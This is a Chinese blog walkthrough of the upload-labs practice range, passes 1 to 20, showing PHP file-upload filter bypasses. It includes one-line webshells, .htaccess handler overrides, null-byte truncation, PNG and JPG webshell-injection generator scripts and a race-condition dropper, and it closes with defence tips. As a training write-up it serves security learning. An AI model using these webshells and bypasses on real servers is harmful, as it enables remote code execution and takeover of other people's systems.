Upload-labs 1-20关靶场通关攻略(全网最全最完整)

一、环境

在github上找upload-labs-0.1环境,部署在小皮面板上

upload靶机包

也可以直接下载他的集成的环境

二、闯关

1、Pass-01(前端验证)

文件上传漏洞就是利用我们上传的后门文件可以服务器进行解析

首先我们要写一个一句话木马文件,上传到服务器

以下是我写的一句话木马

我们直接上传试一下,有一个弹窗,可见我们的上传是被js拦住了

js拦截代码

那么我们怎么才能绕过呢?

方法一:利用浏览器的机制可以禁用js

方法二:删除浏览器事件

我这就直接禁用js为例

这次我们就上传成功了,upload目录下也有我们的一句话木马

可以进行测试,查看一句话木马的效果,我们的一句话木马是get传参形式的,

eval函数在动态传参时,php的底层认为eval不是函数,所以我们用不了

但是assert函数在php底层却是以函数执行的,那么第一个参数我们就用assert

http://127.0.0.1/upload-labs/upload/web.php?0=assert&1=phpinfo()

可以看到是实现成功的

2、Pass-02(MIME验证)

第二关,我们直接上传一个php文件试试,看会给我们提示什么

说是我们的文件类型不对,我们用BurpSuite抓包看一下

我们可以看到我们的文件类型是application/octet-stream(二进制数据类型)

补充:

既然它提示我们的是上传的数据类型不对,那么后端大概率检测的是我们上传文件的文件类型,那么我们在抓包这块将文件类型改为img的文件类型,
类型:image/jpeg

试一下我们的结果是否可行,很明显,我们上传成功,

执行一下我们的一句话(同第一关)

ok,下一关

3、Pass-03(黑名单验证,特殊后缀)

直接上床我们的php文件,看一下会提示什么?

不允许上传.asp,.aspx,.php,.jsp后缀文件!

很明显这块大概率过滤的是我们的后缀,我很查看下源码,可以看到要是这几个后缀匹配到就不执行上传

那么我们要进行绕过,并且要让服务器能解析我们上传的文件,

在apache中的配置文件中,我们可以看到他会将 .php  .php3  .phtml 这几个后缀当做php文件进行解析

那么我们上传.php3文件,刚过可以绕过黑名单,并且文件可以被解析

只说不做是徒劳,我们试验一下

上传成功,并且可以进行解析

ok,继续下一关

4、Pass-04(.htaccess解析绕过)

啥也不说,继续试一下php文件上传

不让我们上传,要是猜的他的黑名单的话,会格外的费劲

直接上源码

if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';

可以看到,这关的黑名单过滤的是相当的多,基本将我们的后缀都过滤掉了

这时候该怎么进行绕过呢

这时候补充一个知识点:

.htaccess文件解析漏洞

.htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php

Sethandler 将该目录及子目录的所有文件均映射为php文件类型。
Addhandler 使用 php5-script 处理器来解析所匹配到的文件。
AddType 将特定扩展名文件映射为php文件类型。

简单来说就是,可以将我们所的文件都解析成php或者是特定的文件解析为php

实践

那么我们创建一个.htaccess文件写上内容进行上传

Sethandler application/x-httpd-php

这是将本目录及所有子目录的所有文件都解析为php文件

很明显直接上传成功,那么我们再将我们的一句话木马上传,当然在这我们将文件后缀改为jpg格式,反正我们上传后的文件都会被解析为php,而且jpg也不会被过滤掉

上传后直接进行访问,看我们的一句话能否配解析

ok,完美

在这块我们试一下使用蚁剑进行连接,毕竟我们的后门已经上传成功,连接服务器的最后一步肯定是必须的

因为我们写的一句话木马是双get传参,但是蚁剑默认post传参,密码是post参数,

那我们可不可以将第二个参数直接传成post呢,试一下,但很可惜我们的没有连接上

按道理来说应该是可以的,为什么不行呢?

其实是因为蚁剑在连接时,他会查询我们服务器的信息,那么这些代码就要有个执行函数才能执行,那么我们就要在post前加上eval()函数,以让我们的代码能够以命令执行

http://172.16.30.134/upload/web.jpg?0=assert&1=eval($_POST['long'])

5、Pass-05(大小写绕过)

啥也不说,直接上传php文件,看提示

显示我们的文件类型不允许

这关肯定没这么简单,因为前面的第二关就是改了文件类型

我们直接查看源码,看看怎么个事

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

很明显,他是黑名单过滤我们的后缀,同时将我们上一关的.htaccess文件也过滤掉了

那么这时候怎么办呢,我们看到他的过滤数组里有小写、大小写混写,但没有纯大写,在下面也没看到转小写,而且我们的php文件名是不区分大小写的,ok,思路有了,直接开整

很明显,成功上传,验证是否可行

没得问题,直接下一关

6、Pass-06(黑名单验证,空格绕过)

直接使用上一关的文件继续上传可以看到,被拦截

猜的话,说实话还是很难猜的,直接上源码

相比上一关,我们可以看到在过滤这块有一点点的不一样,具体是哪呢?

其实相较于上一关,这一关他没有写trim()函数对文件名进行去除空格处理

那么去没去处空格有什么不一样呢,在windows环境下,系统会自动去除我们文件名后面的点和空格,但是在linux下并不会,linux环境下会保留我们文件名的特殊字符

我的环境是搭建在windows上的,整好可以利用这点,我们抓包对其文件名后面加一个空格,正好就可以绕过他的过滤数,然后windows会自动帮我们去除空格,

ok,思路已有,直接开整

可以看到在文件明后加上空格后成功进行绕过,我们是试试,是否可以访问我们的后门

ok,没得问题,下一关走起

7、Pass-07(黑名单验证,点号绕过)

直接上源码:

可以看到这一关他确实把去除空格加上了,但是你仔细看,仔细仔细看,他是不是没有去除文件名末尾的点 deldot()这个函数了,上面我也说过,windows环境时会自动去除文件末尾的点和空格的

ok,和上一关思路一样,开干

很明显,上传成功,ok,实践访问

直接下一关,继续闯!

8、Pass-08(黑名单验证,特殊字符::$DATA绕过)

废话不说,源码分析:

发现没发现没,这关的过滤相较于上一关又少了一个过滤(::$DATA)的字符串

解释:在windows环境下,不光会自动去除文件末尾的点和空格,同时(::$DATA)这个字符串,windows也会认为是非法字符,默认去除掉

ok,其实6、7、8关是为了出题而为我们设计的,那么和上一关一样直接闯!

莫得问题,直接访问

9、Pass-09(黑名单验证,结合绕过)

源码:

可以看到,结合上面几个的过滤,转小写、空格、点、.htaccess都给我们防住了

那这时候该怎么办呢?

代码是死的,人是活的。他每过一句代码,执行一次,那我们就在文件末尾多加几个空格点之类了,反正他也就每执行一次取出一个。

ok,那我们直接末尾加点空格点,开整

很明显,上传成功,看解析

10、Pass-10(黑名单验证,双写绕过)

看源码:

这一关明显不一样了,让我们来看看哪有洞

他在str_ireplace()函数这将我们的危险后缀都替换为空了,这该咋办。

还是那句话,代码死的,人是活的。他也就执行一次,那我们进行双写试试

和我们想的一样,确实是将一个php去掉后,然后拼接了一个新的php

访问解析看看

ok,下一关

11、Pass-11(get00截断)

源码源码:

这一关用到了低版本的00截断漏洞

解释00截断:

当 PHP 在处理文件名或路径时,如果遇到 URL 编码的 %00,它会被解释为一个空字节(ASCII 值为 0)。在php5.3以前,PHP 会将这个空字节转换为 \000 的形式。

而恰恰在php5.3以前,文件名出现\0000,会导致文件名被截断,只保留%00之前的部分。这样的情况可能会导致文件被保存到一个意外的位置,从而产生安全风险

这是因为php语言的底层是c语言,而\0在c语言中是字符串的结束符,所以导致00截断的发生

实践

解释完后,我们就要开始想办法怎么理由这个00截断来进行绕过,

我们可以看到img_path是通过get传参传递的,那么我们不妨在这块将路径改掉,改为upload/web.php%00,那么后面不管是什么东西都会被截断掉,然后经过move_uploaded_file函数将临时文件重新复制给我们的截断之前的文件路径,当然,我们还是要上传jpg文件的,使得我们可以进行下面程序的运行

ok,分析完成,直接开干

很明显我很上传上去了,不确定去upload文件下看看

ok,继续下一关

12、Pass-12(post 00截断)

看源码:

我们可以看到和上一关的不同是上一关是get传参,而这一关是post传参

那么在这关受罚就要有点小小的不同了

因为上一关%00是经过url的编码,而post不会,所以在这一关我们就需要现在web.php后面加一个占位符,将其16进制改为00,这样孔子杰就出现了,最后在移动文件的时候就会触发\00截断

说也说了,我们直接试试,还是抓包进行修改

可以看到上传成功

13、Pass-13(图片马unpack)

这一关要让我们使用图片码来进行上传解析

那什么是图片吗呢?图片码就是在一张图片中写上我们的一句话,然后利用php的文件包含特性,可以将我们的图片以php进行解析

看源码:

function getReailFileType($filename){
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    $strInfo = @unpack("C2chars", $bin);    
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}

在getReailFileType()函数中,对图片的头部进行了判断,图片的头部对定义特定的图片类型,所以我们在制作图片码的时候不能再头部进行改动,

图片马的制作:首先找一张jpg图片和一句话木马,打开cmd,输入以下代码

>copy web.jpg/b + web.php/a web1.jpg
-----------------------------------------
web.jpg
web.php
已复制         1 个文件。

然后我们进行上传

上传成功,我们使用靶机给我们的文件包含漏洞进行解析

这个文件包含的特性是会将我们所有包含进来的文件都以php进行解析

14、Pass-14(getimagesize图片马)

源码:

这一关同理,将获取文件类型进行判断,直接上传上一关 的图马记性

15、Pass-15(exif_imagetype图片马)

知识补充: exif_imagetype()读取一个图像的第一个字节并检查其后缀名。
返回值与getimage()函数返回的索引2相同,但是速度比getimage快得多。需要开启php_exif模块。

所以还是可以用第十四关的图片马绕过,并使用文件包含漏洞解析图片马

16、Pass-16

源码:

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".gif";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagegif($im,$img_path);

                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }
    }else{
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}

这一关就没有前面几关简单了,他是会使用imagecreatefromjpeg()函数将我们的图片打散进行二次渲染,这就会导致我们的一句话木马消失,所以我们就要想办法在他没有打散的对方将我们的一句话写进去

gif格式

首先,我们先制作一个gif的图片马

copy web.gif /b + web.php /a web1.gif
--------------------------------------------
web.gif
web.php
已复制         1 个文件。

然后我们进行上传,然后下载下来查看我们的图片马的一句话还在不在,并且和原图马进行比较,看看哪块没有打散,那么在没打散的地方写入一句话

在010软件进行比对,可以看到我们打散后的图片的一句话消失了

那么我们在math中可以发现还是有很多地方没有改变的,那我们就在这块进行写入一句话

我们继续上传,然后下载下来,查看一句话还在不在

那么我们试着对其进行解析,同样还是文件包含

ok,成功解析

png格式

相对于gif格式的图片,png的二次渲染的绕过并不能像gif那样简单.

因为png分了好几个数据块组成,如果用上面的方法就成功不了,那么我们就要相悖的办法了

这里我就直接借鉴了另外一篇文章的代码,直接使用代码生成一个拥有一句话木马的图片

详见文章

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

直接运行生成一个图片马,打开可以看到是有我们的一句话木马的

那么开始上传吧,然后下载下来查看一句话是否还在

很幸运还在

那么开始访问吧,因为有post,所以用火狐访问

好了,接下来开始拱破jpg吧

jpg格式

jpg的格式更复杂,具体就不说了,相比于png更难实现,需要多试几次才有几率成功过

在这里我还是借鉴了大牛的代码来进行实现

<?php
    /*

    The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
    It is necessary that the size and quality of the initial image are the same as those of the processed image.

    1) Upload an arbitrary image via secured files upload script
    2) Save the processed image and launch:
    jpg_payload.php <jpg_name.jpg>

    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

jpg格式的就和上面的不同了,首先先随便上传一个jpg图片,然后下载下来

然后在cmd下使用这条命令,将上传的图片和我们上面的代码文件放在一块生成新的jpg文件

php text.php 12425.jpg

打开看一下有没有一句话

然后我们进行上传,再下载下来岔开一句话是否还在,在的话直接运行即可,如果不行就多试重几次jpg图片

需要注意的是,有一些jpg图片不能被处理,所以要多尝试一些jpg图片.

17、Pass-17(条件竞争)

源码:

$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif'); // 允许上传的文件扩展名数组
    $file_name = $_FILES['upload_file']['name']; // 获取上传文件的文件名
    $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传文件的临时文件路径
    $file_ext = substr($file_name,strrpos($file_name,".")+1); // 获取上传文件的扩展名
    $upload_file = UPLOAD_PATH . '/' . $file_name; // 上传文件的目标路径

    // 尝试移动上传文件到指定路径
    if(move_uploaded_file($temp_file, $upload_file)){
        // 如果文件成功移动到目标路径
        if(in_array($file_ext,$ext_arr)){
            // 如果上传的文件扩展名在允许的范围内
            $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; // 生成新的文件名
            rename($upload_file, $img_path); // 重命名上传的文件为新的文件名
            $is_upload = true; // 设置上传标志为true
        }else{
            // 如果上传的文件扩展名不在允许的范围内
            $msg = "只允许上传.jpg|.png|.gif类型文件!"; // 设置错误消息
            unlink($upload_file); // 删除上传的文件
        }
    }else{
        // 如果移动上传文件失败
        $msg = '上传出错!'; // 设置错误消息
    }
}

分析以上代码,可以看到他的逻辑是先对文件进行了上传操作,然后在判断文件的扩展名在不在白名单中,如若在,进行重命名。不在则对其进行删除。

也就是说如果我们上传php文件,他会删除我们上传的木马。

这么看来如果我们还是上传一个图片马的话,网站依旧存在文件包含漏洞我们还是可以进行利用。但是如果没有文件包含漏洞的话,我们就只能上传一个php木马来解析运行了。

假设这一题 没有文件包含漏洞的话,那我们只要上传php木马就会被删除,那还怎么搞。

不慌,要知道代码在执行的时候也是需要时间的,尽管这个时间特别短,只要我们能利用住,最会成功的。如果我们能在上传的一句话被删除之前访问不就成了。这个也就叫做条件竞争上传绕过。

我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,会有一瞬间的访问成功。

我们可以将一句话写成下面这句:

<?php file_put_contents('../webshell.php', '<?php eval($_POST["cmd"]); ?>'); ?>

把这个php文件通过burp一直不停的重放,然后我们在开一个burp一直访问我们的这个php文件,总会有那么一瞬间是还没来得及删除就可以被访问到的,一旦访问到该文件就会在上层目录下生成一个webshell.php的一句话文件,这样生成的文件是不会被我们的程序删除掉的

首先,先上传我们的php文件,用burp进行拦截,然后放到重放模块下,进行多次上传

重发请求数值大一些,在起一个bp程序,抓取我们访问上传的php文件,也放到bp的重发包上面

这样就一边上传,一边请求了,只要有一次访问得到,那么就会在上一级目录下创建写好的一句话木马

由此可见,经过条件竞争,是有机会访问到的

试着用蚁剑进行连接,可以连接

ok,下一关

18、Pass-18(条件竞争)

我们看看源码:

//index.php
$is_upload = false;
$msg = null;
if (isset($_POST['submit']))
{
    require_once("./myupload.php");
    $imgFileName =time();
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
    $status_code = $u->upload(UPLOAD_PATH);
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已经被上传,但没有重命名。';
            break; 
        case -1:
            $msg = '这个文件不能上传到服务器的临时文件存储目录。';
            break; 
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break; 
        case -3:
            $msg = '上传失败,无法上传该类型文件。';
            break; 
        case -4:
            $msg = '上传失败,上传的文件过大。';
            break; 
        case -5:
            $msg = '上传失败,服务器已经存在相同名称文件。';
            break; 
        case -6:
            $msg = '文件无法上传,文件不能复制到目标目录。';
            break;      
        default:
            $msg = '未知错误!';
            break;
    }
}

//myupload.php
class MyUpload{
......
......
...... 
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );

......
......
......  
  /** upload()
   **
   ** Method to upload the file.
   ** This is the only method to call outside the class.
   ** @para String name of directory we upload to
   ** @returns void
  **/
  function upload( $dir ){
    
    $ret = $this->isUploadedFile();
    
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->setDir( $dir );
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkExtension();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );
    }

    $ret = $this->checkSize();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }
    
    // if flag to check if the file exists is set to 1
    
    if( $this->cls_file_exists == 1 ){
      
      $ret = $this->checkFileExists();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }

    // if we are here, we are ready to move the file to destination

    $ret = $this->move();
    if( $ret != 1 ){
      return $this->resultUpload( $ret );    
    }

    // check if we need to rename the file

    if( $this->cls_rename_file == 1 ){
      $ret = $this->renameFile();
      if( $ret != 1 ){
        return $this->resultUpload( $ret );    
      }
    }
    
    // if we are here, everything worked as planned :)

    return $this->resultUpload( "SUCCESS" );
  
  }
......
......
...... 
};

这道题用了白名单过滤文件名后缀,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件
在这里插入图片描述
要改成如下图的样子并保存重启靶场
在这里插入图片描述

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

(这里我不理解,既然要用文件包含,并且文件上传上去后,就算图片重命名了,但图片还是显示出来了,显示出来不就知道了文件路径,直接用文件包含不就直接解析了一句话木马,对吧。所以唯一能解释的原因就是,要是上传后图片不显示出来的时候,那我们在他重命名之前竞争到我们的木马,重新生成一个新的一句话木马文件就合理了。既然这题的用意就是条件竞争,那我们就用条件竞争做吧)

用我们上关的php文件生成一个图片马

然后和上一关一样,上传图片马用bp拦截住(基本上在BP上的操作跟上面第18关没区别)

使用文件包含进行访问,因为上传后会进行重命名,所以我们就竞争上传后改名前的这一段时间进行操作,bp抓包多重复访问

很明显,请求成功

那么,直接连接蚁剑,嘿嘿

完美成功

19、Pass-19

先看源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = $_POST['save_name'];
        $file_ext = pathinfo($file_name,PATHINFO_EXTENSION);

        if(!in_array($file_ext,$deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH . '/' .$file_name;
            if (move_uploaded_file($temp_file, $img_path)) { 
                $is_upload = true;
            }else{
                $msg = '上传出错!';
            }
        }else{
            $msg = '禁止保存为该类型文件!';
        }

    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}

分析源代码可以看到,并没有对我们上传文件进行判断,只对我们用户输入的文件名做了判断

并且也只是和黑名单进行了判断,并没有进行任何后缀过滤措施

那么很简单,利用windows的特性,windows会自动过去掉后缀的点(.)空格和::DATA这些特殊字符,在用户属于的地方以php.结尾,那么就会跳出黑名单

开整:

然后我们直接蚁剑连接

20、Pass-20(数组绕过)

漏洞原理

函数解释:

explode(a,b)函数以a为分割,把b转为数组。
reset()函数把数组内部指针移动到数组第一个元素,并返回值。
end() 把数组内部指针移动到数组最后一个元素,并返回值。
count()函数数组元素的数量。

漏洞来源:count()函数漏洞。

通过$file_name = reset($file) . '.' . $file[count($file) - 1];可以知道最终的文件名是由数组的第一个和最后一个元素拼接而成。如果是正常思维来讲,无论如何都是没有办法绕过的,但是有个地方给了一个提示。

这里有个判断,如果不是数组,就自己拆成数组,也就是说,我们是可以自己传数组进入的。

原理:
现自定义一个数组 arr[],定义arr[0]=1,arr[3]=2, 此时count(arr)的值为2,则arr[count[arr]]即为arr[2],但是arr[2]未定义,即为一个空值,若使用count()函数的本意是指向arr数组的最后一个元素,此时却指向arr[2],形成数组漏洞。

代码审计

通关操作

1、首先上传 test.php 文件,利用 Burpsuite 进行抓包,发现save_name是利用_POST形式上传的,利用count()函数漏洞手动将 save_name改为数组形式,绕过白名单,并且合法化$image_path路径。

2、放包通过,使用蚁剑进行连接

总结

文件上传

漏洞成因: 具备上传文件功能的Web等应用,未对用户选择上传的文件进行校验,使得非法用户可通过上传可执行脚本而获取应用的控制权限。
防护与绕过: 通过upload-labs靶场实战,了解更多的防护与绕过手段。

防御
  1. 不要暴露上传文件的位置
  2. 禁用上传文件的执行权限
  3. 黑白名单
  4. 对上传的文件重命名,不易被猜测
  5. 对文件内容进行二次渲染
  6. 对上传的内容进行读取检查

不同系统有不同的需求,根据系统需求制定特定的防御手段。

  • 18
    点赞
  • 37
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
